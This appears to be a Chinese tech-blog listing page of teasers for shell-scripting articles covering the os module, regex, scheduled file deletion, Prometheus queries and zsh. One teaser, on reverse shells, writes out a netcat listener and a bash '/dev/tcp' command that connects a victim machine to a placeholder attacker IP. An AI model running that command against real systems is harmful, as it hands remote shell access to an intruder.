shell

python内置模块OS 实现SHELL端文件处理器

目录 OS 模块 带path 判断文件 判断文件夹 判断文件是否存在 获取文件大小 获取路径及文件 获取绝对路径 返回文件名 获取文件路径 路径拼接 不带path 获取平台 获取所有文件 当前工作路径 目录操作 重命名文件 文件属性 修改权限杀死进程 打通shell OS 模块 »

报时机器人的rasa shell执行流程分析

本文以报时机器人为载体,介绍了报时机器人的对话能力范围、配置文件功能和训练和运行命令,重点介绍了rasa shell命令启动后的程序执行过程。 一.报时机器人项目结构 1.对话能力范围 (1)能够识别欢迎语意图(greet)和拜拜意图(goodbye) (2)能够识别时间意图(query_time) ... »

shengshengwang

尝试阅读理解一份linux shell脚本

从头一二去阅读语法和命令说明,对于脚本小白来说比较枯燥,难以坚持,所以这里选择对一份完整的shell脚本代码来逐行逐段解读,希望可以一渡小白,帮助我们快速进入脚本的大门^_^ ... »

englyf Linux

Shell命令

1.shell命令的执行机制:fork+exec执行命令(任何的shell都会执行) 2.shell中的用户输入处理 1 命令行参数:选项、参数 2 运行时输入 3 read命令: 4 1.基本读取、 5 2.超时处理-t选项、 6 3.隐藏方式读取-s选项) 7 4.从文件中读取 3.shell的 ... »

xiuercui linux

用bash反弹shell

用bash反弹shell 受害主机;linux系统 攻击机:需要安装netcat(nc) 受害主机执行:ifconfig ## 查看受害主机ip 攻击机执行:nc -lvp 19999 ## 在攻击机监听19999端口 受害主机执行:bash -i &> /dev/tcp/[攻击机ip]/[攻击机监 ... »

mel0n

Shell第四章《正则表达式》

一、前言 1.1、名词解释 正则表达式(regular expression, RE)是一种字符模式,用于在查找过程中匹配指定的字符。在大多数程序里,正则表达式都被置于两个正斜杠之间;例如/l[oO]ve/就是由正斜杠界定的正则表达式它将匹配被查找的行中任何位置出现的相同模式。在正则表达式中,元字符 ... »

10_Linux基础-SHELL入门1

@(文章目录) 10_Linux基础-SHELL入门1 一. 输入输出重定向 回顾1 输入输出重定向 输入 read -p “请输入” a -p 提示 a 赋值给a read -s 密码隐藏 输出 echo \# echo -e “abc\t abc” 转义字符输出 abc abc \# echo ... »

mycpen Linux

《Unix新哲学导论》给学习Shell脚本的人——软件工具的概念

介绍 "Unix哲学”是将单个大系统创建为独立小软件的集合的想法。这个想法是让像 UNIX 这样大而复杂的东西变得简单,或者从技术角度来说,开发一个具有模块化、可组合程序设计的大型系统。 UNIX 哲学中没有官方定义。 Ken Thompson 和其他 UNIX 创始人通过 UNIX 的发展所展示的 »

怎么使用shell脚本实现定时删除文件或文件夹

这篇文章主要介绍“怎么使用shell脚本实现定时删除文件或文件夹”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“怎么使用shell脚本实现定时删除文件或文件夹”文章能帮助大家解决问题。 一、删除XX天(默认10天)之前某个目录下面带.log的日志文件,并且输出 »

怎么使用shell脚本批量将文件复制到指定的文件夹下

本篇内容主要讲解“怎么使用shell脚本批量将文件复制到指定的文件夹下”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“怎么使用shell脚本批量将文件复制到指定的文件夹下”吧! 由于线上文件比较多,选择特定的文件拿下线下进行语料标注,如果指定的文件数量太多 »

测试右移-后台服务监控告警实践

前言 前段时间,公司上线了“大屏”项目,用于对接展示一些业务平台的数据。但是在上线后使用过程中,产品或业务经常反馈前台页面没有数据。出现这种情况后,开发人员会去排查问题,解决后再通知产品或业务人员解决修复情况。虽然研发每次都能在较短的时间内响应并解决问题,但运行一段时间后又会反复出现,也给用户造成了 ... »

Linux Shell 自动交互功能

需求背景: 近日,在安装某软件过程,发现在安装过程需要输入一些信息才能继续下一步操作,在机器数量较少情况下,我们可以单台登录上去完成安装操作,但当机器数量超过一定时,如果再手动登录操作,就会产生大量重复性操作,既不能带来有效学习能力提升,同时也会极大产生不确定性,引发工作效率下降,那么如何自动化完成 ... »

xiong97 Linux

shell编程基础

shell名词解释 Kernel:Linux内核,主要是为了和硬件打交道 shell: 是一个命令行解释器,接收用户命令/应用程序,然后调用操作系统内核。还是一个程序设计语言。 查看当前shell解释器和系统支持的shell解释器(我这里用的是centos7的镜像) shell的两大主流 sh: B ... »

bfy0221 Linux

shell查询prometheus数据

#shell查询prometheus数据 shell使用curl调用HTTP API执行PromQL /api/v1/query查询某一时刻的数据 查询条件PromSQL复杂时, 传入接口/api/v1/query需要URL转码 使用prometheus的web界面Graph执行查询, 浏览器开发工 ... »

Linux shell脚本进阶使用

shell的循环控制语句 - continue:提前结束某次循环,重新开始下一次 - break:提前结束某层循环 范例: #求100以内的奇数和 #!/bin/bash sum=0 for i in `seq 100`;do if [ $[i%2] -ne 0 ];then continue el ... »

heyongshen Linux

Linux Shell脚本

基础概念: - 机器语言:二进制的0和1的序列,称为机器指令 - 汇编语言:用一些符号来代替机器语言 - 计算机:只能运行二进制指令 - 机器代码文件:由0和1组成的二进制文件 - 编译:将编写好的程序文件通过一个工具(编译器)变成机器代码文件,然后在变成可执行文件。 #编译的特点:效率高 - 解释 ... »

heyongshen Linux

Shell脚本 | 一键获取安卓应用活动名

上篇文章提到,启动时间的计算需要用到应用启动页的活动名(Activity_Name)。 如何获取活动名呢?通常有如下几种方式: 1、询问 Dev 同事 2、adb logcat ActivityManager:I *???? 3、adb shell dumpsys window w | grep <Package_Name> 4、adb shell dumpsys window | g »

shell之终极shell——zsh

在快速了解Linux/Unix系统中最重要的概念——shell一文中,我们对shell进行了简单的介绍。shell是Linux/Unix的一个外壳,它负责外界(用户)与Linux内核的交互,接收用户或其他应用程序的命令,然后把这些命令转化成内核能理解的语言,传给内核,内核是真正干活的,干完之后再把结果返回用户或应用程序。 比如,用 ls 命令列举当前目录的文件,用 find 命令查找文件,用 cp »

如何对shell脚本中斜杠进行转义?

1、在编写shell脚本时,经常会遇到对某个路径进行替换,而路径中包含斜杠(/),此时我们就需要对路径中涉及的斜杠进行转义,否则执行失败。具体示例如下: 需求描述:   将sjk目录下的test文件中的path1替换为path2,path1和path2路径如下: path1= path2= 解决思路: 1)由于path1和path2中涉及到斜杠(/),所以必须将斜杠进行转义,转义方式如下: pat »